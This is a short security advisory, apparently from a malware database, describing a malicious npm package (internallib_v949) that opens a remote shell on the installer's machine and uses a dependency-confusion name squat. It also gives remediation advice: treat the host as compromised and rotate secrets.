Malicious code in internallib_v949 (npm)

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

The exported function is on the main module load path, so any consumer that invokes it hands full interactive shell access on the installer's host to whoever controls that endpoint. package.json also declares a self-referential dependency on internallib_v949 ^1.0.0, matching the dependency-confusion pattern in which an internal package name is squatted on the public npm registry to intercept internal builds. The package name pattern (an unusual '_v949' suffix on a generic 'internallib' base) is consistent with a targeted internal-name squat rather than a legitimate library. ## Source: ghsa-malware (56b1dae4951f7ccdf0525a1e36a72191f18339c2101dda0b06482ee0efd70b46) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
